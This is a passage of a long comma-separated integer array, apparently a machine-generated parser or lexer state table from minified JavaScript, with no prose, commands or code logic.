,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,0,0,0,0,0,155648,0,155648,0,0,0,0,0,155648,0,0,0,0,0,155648,155648,0,155648,155648,0,12290,3,0,0,2183168,126976,0,0,0,0,299,300,0,2134016,303,304,0,0,0,3117056,0,0,0,0,0,0,0,365,0,0,0,0,0,0,0,3563,0,541,541,541,541,541,541,541,541,541,3209,541,541,541,541,541,159744,159744,159744,159744,0,0,159744,0,0,0,0,0,0,0,0,159744,0,0,0,0,0,0,0,159744,159744,159744,163840,159744,159744,159744,159744,159744,0,0,0,0,0,0,0,0,0,2805,0,541,541,541,541,541,0,25162,0,0,0,159744,0,0,0,25162,25162,25162,159744,25162,25162,25162,25162,25162,25162,25162,25162,159744,159744,159744,159744,25162,159744,25162,1,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,1,167936,167936,167936,167936,0,0,167936,0,0,0,0,0,0,0,0,167936,167936,167936,167936,167936,167936,167936,167936,167936,0,0,0,0,0,0,0,0,0,2976,0,0,0,0,0,0,0,0,0,2138112,1183,0,0,0,0,0,0,0,0,0,0,0,0,3168,0,0,0,0,0,0,0,0,172032,0,172032,0,0,0,0,0,0,0,0,0,365,0,293,0,0,0,348,172032,172032,0,0,172032,0,0,172032,172032,0,172032,0,0,0,0,172032,172032,0,0,0,0,0,0,0,0,0,0,172032,0,0,0,0,0,0,2777,0,0,0,0,0,0,2784,0,0,0,0,0,0,2986,2987,0,2988,0,2990,0,0,0,0,0,0,0,69632,73728,0,135168,135168,0,0,65536,135168,172032,0,172032,172032,0,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,0,0,0,0,0,0,0,0,0,3014,0,0,0,0,0,0,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,1,176128,176128,176128,176128,0,0,176128,0,0,0,0,0,0,0,0,176128,176128,176128,176128,176128,176128,176128,176128,176128,0,0,0,0,0,0,0,0,0,3175,0,0,0,0,0,0,0,3,78115,78115,293,0,634,0,0,0,299,300,0,2134016,303,304,1164,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,361,541,541,1308,541,541,541,541,541,541,541,541,541,541,541,541,541,0,0,2242,0,914,563,563,563,563,563,563,563,563,563,563,563,563,563,563,0,0,587,587,587,1203,541,587,563,541,541,541,541,541,563,563,563,563,3070,563,563,563,563,3074,563,563,587,587,587,587,587,1079,0,0,0,0,0,0,0,0,0,0,1102,0,0,0,0,0,0,0,229376,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1134592,0,0,0,0,1691,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3201,563,563,587,587,587,587,0,0,0,0,0,0,0,0,0,0,541,541,541,541,3569,541,541,0,0,563,563,563,563,563,563,563,2251,563,563,563,563,563,563,587,3109,587,587,587,587,587,587,587,587,2407,587,587,587,587,587,2412,2413,563,563,2288,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3541,587,587,587,2375,587,587,587,587,587,587,587,587,587,587,587,587,587,1497,587,587,0,0,0,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1439,0,3007,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3317,541,541,541,541,3038,541,541,541,541,541,541,541,541,541,541,541,541,1300,541,541,541,563,563,563,3078,563,563,563,563,563,563,563,563,563,563,563,563,1401,563,563,563,587,587,587,587,3120,587,587,587,587,587,587,587,587,587,587,587,1042,587,587,587,587,0,3159,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,155648,3214,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1359,563,563,563,587,3259,587,587,587,3262,587,587,587,587,587,587,587,541,541,563,563,587,587,0,0,0,0,0,0,0,0,0,0,3609,541,541,541,587,587,3270,587,587,587,587,587,587,587,587,587,587,587,587,587,1498,587,587,541,541,541,3330,3331,541,541,541,541,541,541,541,541,563,563,563,563,3581,563,563,563,563,563,3349,563,563,563,563,563,563,563,563,563,587,587,587,587,587,587,587,587,0,541,541,541,3406,541,541,541,541,563,563,563,563,563,563,3415,563,0,587,587,587,587,587,291,1079,0,0,0,0,0,0,0,0,0,249856,249856,249856,249856,249856,249856,249856,249856,1,587,3431,587,587,587,587,587,587,3437,587,587,587,3441,587,541,563,563,3473,563,563,563,563,3478,563,563,563,563,3483,563,563,563,563,977,563,563,563,563,0,587,587,587,587,587,587,1931,587,587,587,587,587,587,587,587,587,2678,587,587,587,2681,587,587,0,0,3456,541,541,541,541,541,541,541,541,541,541,541,541,541,0,2586,0,541,3471,563,563,563,563,563,563,563,563,563,563,563,563,563,563,0,2327,563,3487,587,587,587,587,587,587,587,587,587,587,587,587,587,587,0,0,563,563,587,587,587,587,0,0,541,541,563,563,587,587,0,541,541,541,3205,541,541,541,541,541,541,541,3210,541,541,541,541,541,541,2816,541,541,2820,541,541,541,541,541,541,541,541,3041,541,541,541,541,541,541,541,541,2556,541,541,541,541,541,541,541,541,2233,541,541,541,541,541,0,0,563,587,0,541,563,587,0,541,563,587,0,541,563,587,0,0,0,0,0,0,0,0,0,3510,0,0,0,0,541,541,541,541,541,2165,541,541,541,541,541,541,541,541,3616,563,563,563,563,563,563,563,2265,563,563,563,563,2270,563,563,563,184932,184932,184932,184932,184932,184932,184932,0,0,0,0,0,184932,0,184932,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,0,301,301,0,0,301,301,143661,301,301,301,301,301,301,301,301,301,301,301,143731,301,301,301,301,12290,3,78115,78115,293,0,0,0,0,0,299,300,0,2134016,303,304,587,0,0,188416,541,587,563,541,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,0,2731,0,0,0,0,305,0,0,0,0,0,0,0,0,0,0,0,0,0,249856,0,0,0,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,0,192972,0,1,0,0,0,0,0,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,0,0,192972,0,0,0,0,0,0,0,0,0,0,1145,365,365,0,0,1148,192972,192972,192972,0,192972,192972,192972,192972,192972,0,0,0,0,0,0,0,0,0,3304,0,3180,0,0,0,0,302,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,541,407,407,407,407,407,407,407,0,0,0,0,0,407,0,407,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,118784,299,12290,3,78115,78115,293,0,0,0,0,0,299,300,0,302,303,304,587,0,0,740,541,587,563,541,541,541,541,541,563,563,563,563,587,587,587,587,0,0,2729,0,0,0,0,0,0,740,1184,0,0,0,0,1188,0,0,0,0,0,0,0,378,0,381,0,0,0,381,0,0,563,587,587,587,587,587,1079,1559,0,0,0,1565,0,0,0,1571,2034,0,0,0,0,1577,2036,0,0,0,0,0,0,0,397,0,0,0,0,0,397,0,0,0,0,0,1577,0,0,0,0,0,0,0,0,0,0,0,0,0,262144,0,0,0,0,0,1188,1669,0,0,0,0,0,0,0,0,0,0,0,0,3177,0,0,0,563,563,587,587,587,587,1559,2030,0,0,0,0,1565,2032,0,0,0,0,0,0,2997,0,0,0,0,0,0,0,0,0,0,1586,1587,0,0,0,0,0,0,0,0,1669,0,0,0,0,0,0,0,0,0,0,0,0,106496,0,0,0,0,0,0,2034,0,2036,0,0,0,0,0,0,0,0,0,0,0,0,0,1150976,0,0,0,0,0,563,563,563,563,2325,2652,0,0,0,0,587,587,587,587,587,587,587,587,587,587,587,587,587,2343,0,307,0,307,0,0,0,0,0,0,0,0,0,307,0,0,0,0,0,0,3011,0,0,0,0,3016,3017,0,3019,0,0,0,0,0,204800,204800,0,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,205107,204800,204800,205106,205107,204800,205106,205106,204800,204800,0,0,0,0,0,0,0,0,0,122880,0,122880,122880,122880,122880,122880,12290,3,0,0,2183801,0,0,0,0,0,299,300,151552,2134016,303,304,0,212992,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,172032,0,0,151552,0,0,0,0,0,0,0,0,0,0,0,0,0,303,0,0,0,0,0,3117056,0,0,0,0,0,0,0,0,2200253,0,0,0,0,0,0,678,0,0,0,0,0,0,0,0,0,0,2977,0,0,0,0,0,0,914,2126737,2126737,2126737,2126737,2126737,2425745,2433937,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3138449,2126811,2126811,2499547,2126811,2126811,2126737,2724753,2126737,2732945,2773905,2126737,2126737,2126737,2806673,2126737,2831249,2126737,2126737,2864017,2126737,2126737,2126737,2126737,2126811,2126811,2126811,2126811,2126811,2593755,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3036123,2126811,2126811,3072987,2126811,2126811,2126811,3122139,2126811,2126737,2126737,2921361,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3117969,2126737,0,2126811,2126811,2126811,2126811,2126811,0,0,0,0,0,0,0,0,0,0,1190,0,0,0,0,0,2126811,2425819,2434011,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3126235,2126811,2126811,2126811,2126811,2126811,2626523,2126811,2126811,2126811,2126811,2126811,2126811,2700251,2126811,2716635,2126811,2724827,2126811,2733019,2773979,2126811,0,2502656,0,0,3010560,0,0,0,0,0,0,0,0,2990080,2179072,2179072,3125248,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2592768,2125824,2125824,2125824,2125824,2126811,2126811,2806747,2126811,2831323,2126811,2126811,2864091,2126811,2126811,2126811,2126811,2921435,2126811,2126811,2126811,0,2179072,2126811,2126737,2457600,2179072,2179072,2179072,2179072,2458513,2126737,2126737,2126737,2126737,2126737,2524049,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2601873,2126737,2126737,2458587,2126811,2126811,2126811,2126811,2183168,0,0,0,0,0,0,0,0,0,0,1206,0,1208,0,0,0,0,2126737,2126737,2126737,2409361,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,0,0,2126811,2126811,2126811,2409435,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2839515,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3118043,2126811,2126811,2126811,2126811,2126811,2126811,2126811,0,0,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2462609,2466705,2126737,2126737,2126737,2642833,2126737,2126737,2126737,2126737,2126737,2126737,2720657,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3040145,2126737,3064721,2126737,2126737,2126737,2126737,2126737,3101585,2769809,2778001,2782097,2798481,2823057,2126737,2126737,2126737,2884497,2126737,2913169,2126737,2126737,2126737,2126737,2126737,2126737,2626449,2126737,2126737,2126737,2126737,2126737,2126737,2700177,2126737,2716561,2126737,2126737,3134353,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3208081,2126737,0,0,0,0,0,0,3026,541,541,541,541,541,541,541,541,541,541,1352,541,541,541,541,541,0,0,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2462683,2466779,2126811,2126811,2126811,2126811,2126811,2929627,2126811,2126811,2126811,2999259,2126811,2126811,2126811,2126811,3060699,2126811,2126811,2126811,2126811,2454491,2126811,2474971,2483163,2126811,2126811,2126811,2126811,2126811,2126811,2532315,2126811,2126811,2126811,2446299,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2552795,2769883,2778075,2782171,2798555,2823131,2126811,2126811,2126811,2884571,2126811,2913243,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3130331,2126811,2126811,3154907,3167195,3175387,2506752,2507739,2507665,2126811,2126811,3134427,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3208155,2126811,2179072,2126811,2126811,2126811,2642907,2126811,2126811,2126811,2126811,2126811,2126811,2720731,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3040219,2126811,3064795,2126811,2126811,2126811,2126811,2126811,3101659,0,0,0,2388881,2126737,2126737,2126737,2421649,2126737,2126737,2126737,2126737,2126737,2454417,2126737,2474897,2483089,2126737,2126737,2126737,2126737,2126737,2126737,2532241,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2605969,2126737,2630545,2126737,2126737,2651025,2126737,2126737,2126737,2708369,2126737,2737041,2126737,2126737,2126737,2126737,2126737,2126737,2663313,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,0,0,988,2126811,2126811,2126811,2126811,3036049,2126737,2126737,3072913,2126737,2126737,2126737,3122065,2126737,2126737,3142545,2126737,2126737,2126737,3171217,2126737,2126737,2126737,2888593,2126737,2126737,2925457,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,986,2126811,2126811,2126811,2126811,2126811,2126811,2126737,3191697,3195793,2126737,0,0,0,0,0,0,2388955,2126811,2126811,2126811,2421723,2126811,2126811,2449408,0,2535424,3031040,2859008,0,0,0,0,0,2179072,2449408,2179072,2535424,2126811,2737115,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2888667,2126811,2126811,2925531,2126811,2126811,2126811,2126811,2126811,2585563,2126811,2126811,2126811,2126811,2126811,2618331,2126811,2126811,2126811,2126811,2126811,2126811,2606043,2126811,2630619,2126811,2126811,2651099,2126811,2126811,2126811,2708443,2126811,3142619,2126811,2126811,2126811,3171291,2126811,2126811,3191771,3195867,2126811,2179072,2126811,2126737,2179072,2179072,2179072,2637824,2179072,2179072,2179072,2179072,2727936,2752512,2179072,2179072,2179072,2842624,2846720,2179072,3112960,3219456,2126737,2126737,3113873,3220369,2126811,2126811,3113947,3220443,0,0,0,0,0,0,0,415,415,0,0,0,0,0,415,0,3096576,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3223552,0,0,2126737,2126737,2417553,2126737,2126737,2126737,2126737,2929553,2126737,2126737,2126737,2999185,2126737,2126737,2126737,2126737,3060625,2126737,2126737,2126737,2126737,2933649,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3130257,2126737,2126737,2126737,2519953,2126737,2126737,2126737,2126737,2589585,2126737,2614161,2646929,2126737,2126737,2696081,2757521,2126737,2446225,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2552721,2126737,2126737,2126737,2638737,2126737,2126737,2126737,2126737,2728849,2753425,2126737,2126737,2126737,2126737,2843537,2847633,2126737,2896785,2917265,2126737,2126737,2945937,2126737,2126737,2995089,2126737,3003281,2126737,2126737,3023761,2126737,3068817,3085201,2126737,3097489,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3224465,0,0,2126811,2126811,2417627,2843611,2847707,2126811,2896859,2917339,2126811,2126811,2946011,2126811,2126811,2995163,2126811,3003355,2126811,2126811,3023835,2126811,3068891,3085275,2126811,3097563,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3224539,2179072,2126811,2126737,2126737,2126737,3031953,2126737,2126811,2450395,2126811,2536411,2126811,2610139,2126811,2859995,2126811,2126811,2126811,2126811,2126811,2524123,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2601947,2126811,2515857,2126737,2126737,2126737,2544529,2548625,2126737,2126737,2597777,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2585489,2126737,2126737,2126737,2126737,2126737,2618257,2126811,2515931,2126811,2126811,2126811,2544603,2548699,2126811,2126811,2597851,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2655195,2679771,2761691,2765787,2786267,2855899,2970587,2126811,3007451,3154833,3167121,3175313,2397147,2401243,2126811,2126811,2442203,2126811,2470875,2126811,2126811,2126811,2520027,2126811,2126811,2126811,2126811,2126811,2638811,2126811,2126811,2126811,2126811,2728923,2753499,2126811,2126811,2126811,2126811,2126811,2126811,3179483,2179072,2126811,2126737,2179072,2179072,2126737,2126737,2126811,2126811,0,0,0,0,0,0,2510848,2514944,0,0,2678784,2760704,2764800,2854912,2969600,2179072,3006464,2179072,3018752,2179072,2179072,2179072,3149824,2126737,2429841,2438033,2126737,2487185,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2655121,2679697,2761617,2765713,2786193,2855825,2970513,2126737,3007377,2126737,3019665,2126737,2126737,2126737,2126737,3150737,2126811,2429915,2438107,2126811,2487259,2126811,2126811,2589659,2126811,2614235,2647003,2126811,2126811,2696155,2757595,2126811,2126811,2126811,2126811,2933723,2126811,2126811,2663387,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2802651,2814939,2126811,3019739,2126811,2126811,2126811,2126811,3150811,2179072,3051520,2126737,3052433,2126811,3052507,0,2490368,2498560,2126811,2556891,2565083,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3138523,2940928,2941841,2941915,0,0,0,0,0,2748416,2879488,0,3180,0,0,0,0,0,0,0,647,0,0,0,0,0,0,0,0,0,2467,0,0,2470,0,0,0,2179072,2502656,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3010560,2179072,2179072,2126737,2126737,2126811,2126811,0,2486272,0,0,0,0,0,2678784,2854912,3006464,2503569,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3011473,2126737,2126737,2126737,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2179072,2126811,2126737,2179072,2179072,2179072,2179072,2126737,2126737,2126737,2126737,2126811,2126811,2126811,2126811,0,0,0,0,0,0,0,0,0,0,0,2112,0,0,0,0,2503643,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3011547,2126811,2126811,2126811,0,0,0,2179072,2126811,2126737,2179072,2179072,2179072,2179072,2179072,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2179072,2609152,2179072,2859008,2179072,2179072,2179072,3031040,2126737,2450321,2126737,2536337,2126737,2610065,2126737,2859921,3032027,2126811,2527232,0,0,0,0,0,2179072,2527232,2179072,2179072,2179072,2179072,2179072,2126737,2126737,2802577,2814865,2126737,2839441,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3126161,2126737,2528145,2126737,2126737,2126737,2126737,2126737,3093393,2126811,2528219,2126811,2126811,2126811,2126811,2126811,3093467,0,0,0,0,0,782,0,0,0,0,0,0,541,843,541,541,541,541,541,1796,541,541,541,541,541,541,541,541,541,541,541,2822,541,541,541,541,3026944,0,0,0,2404352,2179072,2179072,2179072,2179072,3026944,2405265,2126737,2126737,2126737,2126737,3027857,2405339,2126811,2126811,2126811,2126811,3027931,0,2539520,0,2949120,2179072,2658304,2973696,2179072,2126737,2659217,2974609,2126737,2126811,2659291,2974683,2126811,0,2711552,256e4,2179072,2560913,2126737,2560987,2126811,0,2179072,2179072,3133440,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3207168,2179072,0,0,0,0,0,0,2464,0,0,0,0,0,0,0,0,0,324,398,0,0,0,324,0,2126737,2126811,0,2179072,2126737,2126811,0,2179072,2126737,2126811,2985984,2985984,2986897,2986971,0,0,0,0,0,0,3164,0,0,3167,0,0,0,0,0,0,0,1135,0,0,0,0,0,0,0,0,0,824,0,0,0,0,0,0,0,221184,221184,0,0,0,0,0,0,0,0,0,221184,221184,0,0,221184,221184,221184,0,0,0,0,0,0,0,221184,0,0,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,0,0,0,0,0,0,0,0,0,0,221184,0,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,139264,300,0,303,0,0,0,303,0,304,0,0,0,304,0,0,0,304,69632,139682,0,0,0,0,0,65536,0,0,0,0,98304,0,0,0,53248,0,0,0,0,0,2662400,0,2813952,0,0,3133440,0,98304,0,0,0,0,0,0,0,0,0,0,0,0,111051,0,0,0,0,303,0,304,0,0,0,2473984,2478080,0,0,0,0,0,0,0,0,0,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,163840,3121152,2179072,2179072,3141632,2179072,2179072,2179072,3170304,2179072,2179072,3190784,3194880,2179072,914,0,0,0,0,0,0,3172,3173,0,0,0,0,0,0,0,0,0,665,0,0,668,0,0,0,0,914,0,2387968,2125824,2125824,2125824,2420736,2125824,2125824,2125824,2125824,2125824,2453504,2125824,2473984,2482176,2125824,2125824,2125824,2125824,2125824,2125824,2531328,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2605056,2125824,3190784,3194880,2125824,988,0,0,0,988,0,2387968,2125824,2125824,2125824,2420736,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,299,0,0,0,303,0,0,0,303,119198,73728,0,0,0,0,0,65536,0,3096576,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3223552,914,0,2125824,2125824,2416640,2125824,2125824,2125824,2125824,2125824,2125824,2625536,2125824,2125824,2125824,2125824,2125824,2125824,2699264,2125824,2715648,2125824,2723840,2125824,2732032,2772992,2125824,3084288,2125824,3096576,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3223552,988,0,2125824,2125824,2416640,225890,225890,225890,225890,225890,225890,225890,225741,225741,225741,225741,225741,225906,225741,225906,1,12290,3,0,0,0,0,0,0,0,90409,90409,90409,90409,0,94506,94506,90409,90409,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,1,2125824,237568,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,1222,0,0,0,0,0,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,0,0,0,0,0,0,0,0,0,217088,0,0,0,0,0,0,0,0,0,0,0,0,0,304,0,0,2125824,241664,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,1236,0,0,0,0,0,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,0,0,0,0,0,0,0,12290,0,0,0,2183168,0,0,270336,0,0,299,300,0,2134016,303,304,200704,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,687,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,180224,0,0,0,0,0,0,0,663,0,0,666,667,0,0,0,0,2940928,0,0,0,0,0,2748416,2879488,0,20480,0,0,0,0,0,0,0,679,0,0,0,0,0,0,0,0,0,1129,0,0,0,0,0,0,1,12290,2113826,0,0,0,0,0,0,296,0,0,0,296,0,0,0,0,0,0,3182,0,0,0,0,3187,0,0,0,0,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,266240,0,0,0,0,0,0,0,0,0,0,0,266240,0,0,0,0,0,0,0,0,0,0,1,0,0,0,266240,0,0,0,0,0,0,0,0,0,0,0,0,0,2662400,0,2813952,12290,2113826,0,0,2183168,0,0,0,0,0,299,300,0,2134016,303,304,2125824,245760,0,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2584576,2125824,2125824,2125824,2125824,2125824,2617344,2125824,2125824,2125824,2125824,2125824,245760,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,1245,0,0,0,0,0,274432,274432,274432,274432,274432,274432,274432,0,0,0,0,0,274432,0,274432,1,12290,3,0,0,0,0,0,253952,0,0,0,253952,0,0,0,0,0,0,0,0,0,0,0,0,0,1155072,0,0,0,0,0,0,12290,3,78115,78115,293,0,0,0,0,0,299,300,0,0,303,304,563,563,587,587,587,587,0,2030,0,0,0,0,0,2032,0,0,0,0,0,0,3196,0,0,0,0,0,0,0,0,0,0,3186,0,0,0,3189,0,0,0,0,2034,0,0,0,0,0,2036,0,0,0,0,0,0,0,695,0,0,0,0,365,365,365,0,0,2485,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,266240,0,0,0,1678,0,0,0,0,0,0,0,0,0,0,0,0,338,0,0,0,0,0,0,0,1669,0,0,0,0,0,0,0,0,2114,0,0,0,0,0,0,3395,541,541,541,541,3399,541,541,541,541,541,541,1346,541,541,541,541,541,541,1356,541,541,12290,3,78115,78456,293,0,0,0,0,0,299,300,0,0,303,304,541,588,564,564,564,564,564,564,564,588,588,588,541,588,588,588,588,588,588,588,588,564,564,541,564,588,564,588,1,0,0,0,0,2775,0,0,0,0,0,0,0,0,0,0,0,0,163840,0,0,0,1,12290,3,78116,293,0,0,0,0,0,0,0,0,0,0,0,0,167936,0,0,0,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,1,0,0,0,0,0,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,0,0,282624,0,0,0,0,0,0,0,0,0,0,1600,1601,0,0,0,0,282624,282624,282624,0,282624,282624,282624,282624,282624,0,0,0,0,0,0,0,0,0,254414,254414,254414,254414,254414,254414,254414,254414,1,2981888,2396160,0,3153920,3180,0,0,0,0,0,0,0,2740224,0,0,0,0,0,0,679,751,0,0,0,0,0,0,0,0,0,1144,0,365,365,0,1147,0,0,0,0,0,286720,286720,0,286720,286720,286720,286720,286720,286720,286720,286720,286720,0,0,0,0,0,0,0,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,0,3108864,3198976,0,0,3043328,0,3149824,2936832,0,2760704,3305,2437120,0,0,0,0,0,0,680,0,0,0,0,0,0,0,0,0,300,0,0,0,0,0,0,0,0,0,0,2875392,0,0,0,3386,0,0,0,0,0,0,2834432,2940928,0,0,0,0,0,2748416,2879488,0,3386,0,0,0,0,0,0,0,709,0,0,0,0,0,0,0,0,0,2048,0,0,0,0,0,0,0,0,0,309,0,0,0,0,0,308,0,308,309,0,308,308,0,0,0,308,308,309,309,0,0,0,0,0,0,308,408,309,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,781,0,0,0,309,413,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,783,0,802,0,0,0,0,541,847,541,541,541,541,541,2830,2831,541,541,541,541,2834,541,541,541,541,541,541,541,3521,541,3523,541,541,3525,541,563,563,0,0,432,0,0,0,0,308,449,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,489,489,463,489,489,489,489,489,489,489,514,489,489,489,489,489,489,489,489,489,489,489,489,489,489,489,534,489,489,489,489,489,542,565,542,565,542,542,565,542,589,565,565,565,565,565,565,565,589,589,589,542,589,589,589,589,589,589,589,589,565,565,542,565,589,565,589,1,0,0,674,0,0,0,0,0,0,0,0,0,0,0,0,0,323,324,0,0,704,0,0,0,0,0,0,0,711,0,0,0,0,0,0,0,742,0,0,0,0,742,0,748,0,0,0,736,0,0,0,0,0,0,0,0,0,0,0,747,0,0,0,0,0,792,663,841,0,0,0,0,541,845,541,541,541,541,541,2217,541,541,541,541,541,541,541,541,541,541,541,1802,541,541,541,541,0,0,0,0,645,0,0,0,0,0,0,0,0,0,0,0,0,172032,0,0,0,0,0,0,0,0,765,0,0,768,0,0,0,0,774,0,0,778,0,0,0,0,0,0,3562,0,3564,541,541,541,541,541,541,541,541,541,3219,541,541,541,541,541,3224,0,0,785,0,0,0,0,789,0,0,0,0,0,0,0,793,0,0,736,0,793,0,0,0,0,648,0,0,0,0,0,0,0,807,808,0,0,0,0,808,0,0,807,0,0,0,0,0,755,0,0,816,817,0,0,0,793,0,0,0,0,0,0,0,0,0,0,0,0,221184,0,0,0,0,0,0,648,0,0,0,0,0,834,789,0,0,0,0,0,0,0,2139,0,0,0,0,0,0,0,0,0,1712,0,0,0,0,0,0,838,839,789,789,0,0,0,0,789,736,789,0,541,541,849,853,563,964,563,967,563,563,981,563,563,0,587,587,587,996,1e3,587,0,0,0,0,0,0,0,0,3180,3448,0,0,0,0,0,0,0,2465,0,0,0,0,0,0,0,0,0,2152,0,0,0,0,0,0,1093,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1135,0,0,0,0,1152,0,0,0,0,1157,0,0,0,0,0,0,0,822,0,816,0,664,0,0,0,0,0,0,0,0,1201,0,0,0,0,0,0,0,0,0,0,0,0,221184,0,221184,0,0,0,1253,0,0,0,0,0,0,0,0,0,0,0,0,0,339,340,341,541,541,1342,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2239,0,0,0,0,0,1596,0,0,0,0,0,0,0,0,0,0,0,0,233472,0,0,0,0,0,0,1640,0,0,0,0,0,0,0,0,0,0,0,0,354,355,356,357,1653,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1163,0,0,0,0,1669,0,0,0,0,0,0,1673,0,0,0,0,0,0,0,69632,73728,0,0,0,346,345,65536,344,0,1729,0,0,0,0,541,541,541,541,541,541,541,541,541,541,541,3327,541,541,1742,541,541,541,541,541,541,541,541,541,1755,541,541,541,541,541,541,541,2193,541,541,541,541,541,541,541,541,541,2557,541,541,541,541,541,541,541,541,541,1794,541,541,1797,541,541,541,541,541,541,541,541,541,541,1314,541,541,541,1318,541,541,1809,541,541,541,541,541,1814,541,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,563,563,563,563,563,563,563,0,2328,1824,563,563,563,563,563,1831,563,563,563,563,563,1837,563,563,563,563,563,3093,563,563,563,563,563,563,563,563,563,3102,563,563,1892,563,563,563,563,563,563,563,563,563,563,1905,563,563,563,563,978,563,563,563,563,0,587,587,587,587,587,587,1997,587,587,587,